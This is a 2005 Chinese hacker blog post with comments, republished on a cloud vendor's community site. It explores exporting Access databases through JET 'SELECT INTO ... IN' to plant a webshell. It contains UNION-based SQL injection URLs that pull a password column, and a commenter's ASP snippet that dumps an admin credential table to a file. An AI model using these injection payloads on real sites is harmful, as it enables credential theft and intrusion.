對ACCESS匯出SHELL的研究 kevin1986

來源:互聯網
上載者:User
今天上化學課睡覺的時候( 汗......)做夢,夢到自己滲透一台MAGIC=OFF的PHP注入點,然後開心的口水都流下來了(.....睡的太那個了),突然醒過來,馬上在紙上寫下做夢夢到的思路:利用ACCESS匯出WEBSHELL......難道不是很絕妙嗎?

於是晚上到網上查了查資料,發現有幾種匯出資料庫的研究

程式碼:
SELECT * into [mytest.txt] IN 'd:/' 'text;' FROM mydata

|匯出成TXT檔案.成功

程式碼:
select * into [aaa] in 'd:/' 'dbase IV;' from mydata

|匯出成DBF檔案,也成功.
但是就是無法匯出成ASP或者其他尾碼的檔案,的確有點怪異,個人認為是在'text;'和'dbase IV'這樣的類型中取選的。所以我在ODBC資料來源中查了查,好象也沒有自訂類型的,很鬱悶.....
沒什麼辦法,去問了一下SuperHei....他說他也沒研究過,嘿嘿,還是新思路啊..看來我要多研究一下.
.不久我在CHINAASPPRO查到了一篇文章裡面說可以這樣匯出資料庫,也就是BACKUP一部分資料,但是我在老兵的SQL資料庫管理員中執行出錯,不清楚原因.但是仔細看了一下是將C:/TEMP.MDB匯入Customers,也不算什麼匯出.哎.運氣不順..

程式碼:
INSERT INTO Customers IN 'C:/TEMP.MDB' SELECT * FROM [New Customers]

記得很早以前我看到過一篇文章就是有人將資料庫檔案導成任意檔案,如果這樣的話就能得到SHELL啦.但是我還是沒有成功,如果誰成功了加我QQ一下,我們一起討論.
9817500

其實如果可以的話裡喲還是簡單的,比如這樣一個注入點
http://www.www.com/a.asp?id=1
我們可以這樣改
www.www.com/a.asp?id=-1 union select 1,2,3,4,5,said,7,8,9 from users where id=1
這樣就得到了said檔案的內容,然後我們可以這樣導:比如導成TXT檔案
www.www.com/a.asp?id=-1 union select 1,2,3,4,5,said,7,8,9 from users where id=1 into [hackedbykevin.txt] IN 'E:/' 'text;' FROM users where id=1
這樣理論上就產生了e:/hackedbykevin.txt
但是我在測試的時候發生了很鬱悶的事情,我也不知道為什麼....

引用內容:
Microsoft JET Database Engine 錯誤 '80004005' 

巨集指令查詢不能作為行的來源。 

/info/adm2.asp,行7 

時間很晚了.我也沒研究下去....還是給大家研究了.駭客精神就是共用嘛.呵呵

  sniper 於 2005-02-11 01:46 AM 發表評論: 


union的時候在後面使用into是行不通滴,我以前測試過



  kevin1986 於 2005-02-09 06:48 PM 發表評論: 


Union的確是不行的。不過某次我在弄一個LeadBBS的時候用他裡面的執行SQL語句成了一次,但是也沒用到Union。晚上和你繼續討論吧。最近很想去弄弄asp+mysql的系統。。。發揮一下4ngel的東西。叫小A也來



  superhei 於 2005-02-09 05:29 PM 發表評論: 


xixi 上次沒時間去測試,今天測試了下
<%
Set Conn = Server.CreateObject("ADODB.Connection") 
dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb")
Set Rs = Server.CreateObject("ADODB.Recordset") 
Conn.Open dsn 
SQL = "SELECT * into [mytest112.txt] IN 'c:/' 'text;'  FROM admin;"
rs.open sql,conn 
if rs.eof and rs.bof then 
' Access Denied 
else 
' Access Allowed 
end if
rs.close
set rs=nothing
'關閉串連
conn.close
set conn=nothing
response.write "sql為:" &sql

%> 
這樣是可以成功的 
C:/>dir mytest*.txt
 磁碟機 C 中的卷是 AAAAAAA
 卷的序號是 3CEE-A8A9

 C:/ 的目錄

2005-02-09  17:27                   46 mytest112.txt
               1 個檔案             46 位元組
               0 個目錄    885,846,016 可用位元組

C:/>type mytest112.txt
"id","f_name","f_password"
1,"admin","pass"

因為語句 SELECT * into [mytest112.txt] IN 'c:/' 'text;'  FROM admin;因為 into [mytest112.txt] IN 'c:/' 'text;'的位置的原因 在注射中 沒辦法匯出本語句的查詢內容(select * from admin where id=$id)

如果用union的話 就會出現 上面你測試的那樣的錯誤 :( 不過即使可以用沒什麼大的意義 因為如果不可以匯出
asp等的話 只匯出資料也沒必要 因為union 可以直接替換出來 :)

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.